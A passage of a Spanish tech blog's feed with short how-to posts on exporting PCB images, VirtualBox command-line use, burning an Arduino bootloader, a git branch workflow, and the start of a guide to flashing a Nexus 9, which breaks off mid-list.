&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">inkscape -f&lt;span class="o">=&lt;/span>Schematic.svg --export-area-drawing --without-gui --export-png&lt;span class="o">=&lt;/span>Schematic.png &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>--export-dpi&lt;span class="o">=&lt;/span>&lt;span class="m">800&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="exportar-pcb">Exportar PCB&lt;/h1>
&lt;p>A la hora de exportar el PCB, si se intenta exportar en formato SVG obtendremos una imagen completamente negra, no se el motivo, por lo que se tendrá que exportar en formato PDF para mantener una calidad buena.&lt;/p>
&lt;p>File &amp;gt; Exportar &amp;gt; PDF&lt;/p>
&lt;p>Aquí habrá que realizar un configuración antes de exportar, que será la siguiente:&lt;/p>
&lt;ul>
&lt;li>Graphics: Full Graphics&lt;/li>
&lt;li>Type: Capa fusionada&lt;/li>
&lt;li>Color: Full Color&lt;/li>
&lt;/ul>
&lt;p>[jtable caption=&amp;ldquo;This is caption&amp;rdquo; th=&amp;ldquo;0&amp;rdquo;]
Capas,Exportar
Capa superior,Si
Capa inferior,Si
Capa de serigrafia superior,Si
Capa de serigrafia inferir,Si
Bordes de placa,Si
Multi-Layer,Si
Orificio,Si
[/jtable]&lt;/p>
&lt;p>Una vez que esta en formato PDF se puede convertir a formato PNG de la siguientes formas:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">inkscape -f&lt;span class="o">=&lt;/span>Schematic.pdf --export-area-drawing --without-gui --export-png&lt;span class="o">=&lt;/span>Schematic.png &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>--export-dpi&lt;span class="o">=&lt;/span>&lt;span class="m">800&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">convert -density &lt;span class="m">800&lt;/span> Schematic.pdf Schematic.png
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Virtualbox cli</title><link>https://www.procamora.com/p/virtualbox-cli/</link><pubDate>Thu, 17 Oct 2019 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/virtualbox-cli/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Virtualbox cli" />&lt;h1 id="listar-maquinas-virtuales">Listar maquinas virtuales&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">VBoxManage list vms
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">&amp;#34;FedoraServer&amp;#34; {e5cfa75c-0145-4de8-94ca-fa3357563d6a}
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;#34;win7_drive_UNI&amp;#34; {be4acbeb-3920-4ada-9d39-00c27adc785c}
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;#34;Kali&amp;#34; {f355d814-0561-49ea-90a2-71d9124d2957}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="arrancar-una-maquina">Arrancar una maquina&lt;/h1>
&lt;p>Se puede arrancar una maquina virutal de dos formas distintas, con el nombre de la maquina o con su identificador.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">VBoxManage startvm &lt;span class="s2">&amp;#34;Kali&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">VBoxManage startvm f355d814-0561-49ea-90a2-71d9124d2957
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="pausar-una-maquina">Pausar una maquina&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">VBoxManage controlvm &lt;span class="s2">&amp;#34;Kali&amp;#34;&lt;/span> pause
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="reiniciar-maquina-pausada">Reiniciar maquina pausada&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">VBoxManage controlvm &lt;span class="s2">&amp;#34;Kali&amp;#34;&lt;/span> resume
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="reiniciar-maquina-inmediatamente">Reiniciar maquina inmediatamente&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">VBoxManage controlvm &lt;span class="s2">&amp;#34;Kali&amp;#34;&lt;/span> reset
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="apagar-maquina">Apagar maquina&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">VBoxManage controlvm &lt;span class="s2">&amp;#34;Kali&amp;#34;&lt;/span> poweroff
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="guardar-el-estado-de-una-maquina">Guardar el estado de una maquina&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">VBoxManage controlvm &lt;span class="s2">&amp;#34;Kali&amp;#34;&lt;/span> savestate
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="exportar-maquinas-virtuales">Exportar maquinas virtuales&lt;/h1>
&lt;p>Se pueden exportan en un unico ova todas las maquinas que se deseen&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">vboxmanage &lt;span class="nb">export&lt;/span> &lt;span class="s2">&amp;#34;s1_lan&amp;#34;&lt;/span> &lt;span class="s2">&amp;#34;s1_dmz&amp;#34;&lt;/span> -o S1.ova
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="reducir-el-tamaño-que-ocupa-en-disco-la-maquina">Reducir el tamaño que ocupa en disco la maquina&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#vboxmanage modifymedium --compact /path/to/thedisk.vdi&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#vboxmanage modifyhd /path/to/thedisk.vdi --compact&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">script&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;vboxmanage modifyhd &amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">find . -type f -name &lt;span class="s2">&amp;#34;*.vdi&amp;#34;&lt;/span> -exec &lt;span class="nv">$script&lt;/span> &lt;span class="o">{}&lt;/span> --compact &lt;span class="se">\;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Arduino burn bootloader</title><link>https://www.procamora.com/p/arduino-bootloader/</link><pubDate>Tue, 08 Oct 2019 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/arduino-bootloader/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Arduino burn bootloader" />&lt;h1 id="introducción">Introducción&lt;/h1>
&lt;p>En ocasiones es necesario instalar un bootloader o actualizarlo en una placa Arduino, para realizar esto podemos usar un programador externo o usar otra placa Arduino como programador.&lt;/p>
&lt;p>Un Arduino actuá como programador, al que se le llamara master y el otro que es al que se le va a instalar el bootloader, se le llamará slave. La comunicación entre el PC y el master se hace a través del protocolo serie de esta placa, y la comunicación entre el master y el slave se hace a través del protocolo SPI.&lt;/p>
&lt;p>Este proceso se realizara en dos pasos:&lt;/p>
&lt;ol>
&lt;li>El primer paso consiste en programar la Arduino para que actúe como programador.&lt;/li>
&lt;li>El segundo paso consiste en interconectar los Arduinos y quemar el bootloader.&lt;/li>
&lt;/ol>
&lt;p>En este caso especifico se va a usar una Arduino Uno como master y una Arduino Pro Mini como slave.&lt;/p>
&lt;h1 id="programar-arduino-master-como-arduinoisp">Programar Arduino master como ArduinoISP&lt;/h1>
&lt;p>Para preparar la Arduino master como programador, lo único que será necesario es cargar el Sketch &amp;ldquo;Arduino as ISP&amp;rdquo;, esto se realiza de la siguiente forma:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Cargar el Sketch:&lt;/p>
&lt;pre>&lt;code> File &amp;gt; Examples &amp;gt; 11.ArduinoISP &amp;gt; ArduinoISP
&lt;/code>&lt;/pre>
&lt;/li>
&lt;li>
&lt;p>Seleccionar el tipo de placa al que se le va a cargar el Sketch:&lt;/p>
&lt;pre>&lt;code> Tools &amp;gt; Board &amp;gt; Arduino / Genuino Uno
&lt;/code>&lt;/pre>
&lt;/li>
&lt;li>
&lt;p>Seleccionamos el programador por defecto:&lt;/p>
&lt;pre>&lt;code> Tools &amp;gt; Programmer &amp;gt; &amp;quot;AVRISP mkll&amp;quot;
&lt;/code>&lt;/pre>
&lt;/li>
&lt;li>
&lt;p>Cargar el Sketch:&lt;/p>
&lt;pre>&lt;code> Upload
&lt;/code>&lt;/pre>
&lt;/li>
&lt;/ol>
&lt;p>Una vez cargado el Sketch ya podemos proceder a interconectar las Arduinos como master y slave para proceder con el quemado del bootloader.&lt;/p>
&lt;h1 id="conectar-arduino-pro-mini-como-slave">Conectar Arduino Pro Mini como slave&lt;/h1>
&lt;p>Las conexiones se realizan con el protocolo SPI, en la Arduino Uno y Arduino Pro Mini están en los pines 10 al 13, podemos ver las conexión de los pines en la siguiente tabla:&lt;/p>
&lt;p>[jtable caption=&amp;ldquo;This is caption&amp;rdquo; th=&amp;ldquo;0&amp;rdquo;]
Master (Arduino Uno),Slave (Arduino Pro mini)
Pin 13 (SCK),Pin 13 (SCK)
Pin 12 (MISO),Pin 12 (MISO)
Pin 11 (MOSI),Pin 11 (MOSI)
Pin 10 (SS),Reset
5V,5V
GND,GND
[/jtable]&lt;/p>
&lt;p>Podemos ver la imagen de las conexiones realizadas a continuación:&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2019/burn_bootloader.svg"
loading="lazy"
alt="Conexiones"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p>
&lt;h1 id="quemar-bootloader">Quemar bootloader&lt;/h1>
&lt;p>Una vez que están realizadas todas las conexiones solo queda quemar el bootloader, para esto hay que seguir los siguientes pasos:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Seleccionar el tipo de placa del tipo que es el slave:&lt;/p>
&lt;pre>&lt;code> Tools &amp;gt; Board &amp;gt; Arduino Pro or Arduino Pro Mini
&lt;/code>&lt;/pre>
&lt;/li>
&lt;li>
&lt;p>Seleccionamos el programador:&lt;/p>
&lt;pre>&lt;code> Tools &amp;gt; Programmer &amp;gt; &amp;quot;Arduino as ISP&amp;quot;
&lt;/code>&lt;/pre>
&lt;/li>
&lt;li>
&lt;p>Quemamos el bootloader:&lt;/p>
&lt;pre>&lt;code> Tools &amp;gt; Burn Bootloader
&lt;/code>&lt;/pre>
&lt;/li>
&lt;/ol>
&lt;p>Veremos como parpadean las luces de la Arduino master durante unos segundos y después se completara el proceso.&lt;/p>
&lt;h1 id="esquema-placa-para-quemar-el-bootloader-en-un-procesador-atmega328p">Esquema placa para quemar el bootloader en un procesador ATmega328P&lt;/h1>
&lt;p>En el caso de querer quemar el bootloader en una placa microcontroladora ATmega328P, podremos hacerlo siguiendo el siguiente esquema:&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2019/BurnBootloaderEsquematic.svg"
loading="lazy"
alt="Conexiones"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/images/2019/BurnBootloaderPCB.png"
loading="lazy"
alt="Conexiones"
>{:height=&amp;ldquo;auto&amp;rdquo; width=&amp;ldquo;100%&amp;rdquo;}&lt;/p>
&lt;p>Podemos descargar el esquemático y el PCB de EasyEDA desde aquí: &lt;a class="link" href="https://www.procamora.com/downloads/easyeda/BurnBootloaderArduino.json" >Esquemático&lt;/a>, &lt;a class="link" href="https://www.procamora.com/downloads/easyeda/BurnBootloaderArduinoPCB.json" >PCB&lt;/a>&lt;/p>
&lt;p>Fuentes: &lt;a class="link" href="https://www.luisllamas.es/usar-arduino-para-reprogramar-el-bootloader/" target="_blank" rel="noopener"
>0&lt;/a>&lt;/p></description></item><item><title>Tips Git</title><link>https://www.procamora.com/p/tips-git/</link><pubDate>Tue, 08 Oct 2019 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/tips-git/</guid><description>&lt;img src="https://www.procamora.com/covers/software.png" alt="Featured image of post Tips Git" />&lt;h1 id="pasos-iniciales-para-crear-una-rama-local-y-remota-de-desarrollo-y-de-trabajo">Pasos iniciales para crear una rama local y remota de desarrollo y de trabajo&lt;/h1>
&lt;p>Creamos la rama de desarrollo&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Crear una rama local de desarrollo y movernos a ella&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git checkout -b dev
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Crear rama remota de desarrollo&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git push origin dev
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Creamos la rama de trabajo&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Crear una rama local de desarrollo y movernos a ella&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git checkout -b watchdog
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Crear rama remota de desarrollo&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git push origin watchdog
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h1 id="pasos-comunes-de-trabajo">Pasos comunes de trabajo&lt;/h1>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Commit repositorio actual&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git add .
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git commit -m &lt;span class="s2">&amp;#34;subida script&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#git push origin watchdog # con el commit en local ya se puede hacer el merge y subirlo directamente a dev&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Merge dev&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git checkout dev
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git pull origin dev
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git merge watchdog
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git push origin dev
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Eliminacion de rama y creación de nueva rama de trabajo&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git branch -D watchdog
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git push origin :watchdog
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git checkout -b watchdog
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git push origin watchdog
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Flashear Nexus 9</title><link>https://www.procamora.com/p/flashear-nexus-9/</link><pubDate>Thu, 03 Oct 2019 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/flashear-nexus-9/</guid><description>&lt;img src="https://www.procamora.com/covers/android.png" alt="Featured image of post Flashear Nexus 9" />&lt;p>Status: published&lt;/p>
&lt;p>Vamos a explicar el proceso para flashear la Nexus 9 LTE con distintas ROMs mediante &lt;code>adb sideload&lt;/code>. Este es un proceso bastante mas simple y rápido que los que se realizaban antiguamente. Se puede realizar en cualquier dispositivo.&lt;/p>
&lt;p>Este procedimiento ha sido probado con las ROMs de LineageOS y SlimRoms.&lt;/p>
&lt;h1 id="requisitos-básicos">Requisitos básicos&lt;/h1>
&lt;ol>
&lt;li>Tener instalado &lt;code>adb&lt;/code> y &lt;code>fastboot&lt;/code>.&lt;/li>
&lt;li>Tener habilitado el USB debugging en el dispositivo.&lt;/li>
&lt;/ol>
&lt;blockquote>
&lt;p>Verificar que se tiene permiso para ejecutar &lt;code>adb&lt;/code> con el usuario. En caso de no tener permiso realizarlo con root.&lt;/p>
&lt;/blockquote>
&lt;h1 id="desbloquear-el-bootloader">Desbloquear el bootloader&lt;/h1>
&lt;ol>
&lt;li>
&lt;p>Si esta activado el bloqueo OEM hay que desactivarlo en las opciones de desarrollo.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Reiniciamos el dispositivo en modo fastboot:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">adb reboot bootloader
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>También se puede hacer presionando las teclas: &lt;strong>Bajar volumen&lt;/strong> y &lt;strong>Power&lt;/strong> con el dispositivo apagado hasta que aparezca el gestor de arranque. Después seleccionar &lt;em>FASTBOOT&lt;/em> y pulsar &lt;strong>Power&lt;/strong>.&lt;/p>
&lt;/blockquote>
&lt;/li>
&lt;li>
&lt;p>Verificar que el dispositivo esta en modo &lt;em>FASTBOOT&lt;/em> con:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">fastboot devices
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">HT51EWV00595 fastboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>
&lt;p>Si el dispositivo esta bloqueado con OEM hay que desbloquearlo con:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">fastboot oem unlock
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="n">bootloader&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">ability&lt;/span> &lt;span class="n">is&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="n">bootloader&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">Device&lt;/span> &lt;span class="n">stete&lt;/span> &lt;span class="n">is&lt;/span> &lt;span class="n">unlock&lt;/span> &lt;span class="n">already&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">OKAY&lt;/span> &lt;span class="p">[&lt;/span> &lt;span class="mf">0.142&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Finished&lt;/span>&lt;span class="o">.&lt;/span> &lt;span class="n">Total&lt;/span> &lt;span class="n">time&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mf">0.142&lt;/span>&lt;span class="n">s&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>Este comando reiniciara el dispositivo automáticamente.&lt;/p>
&lt;/blockquote>
&lt;/li>
&lt;/ol>
&lt;h1 id="instalar-un-recovery-personalizado-usando-fastboot">Instalar un recovery personalizado usando fastboot&lt;/h1>
&lt;ol>
&lt;li>
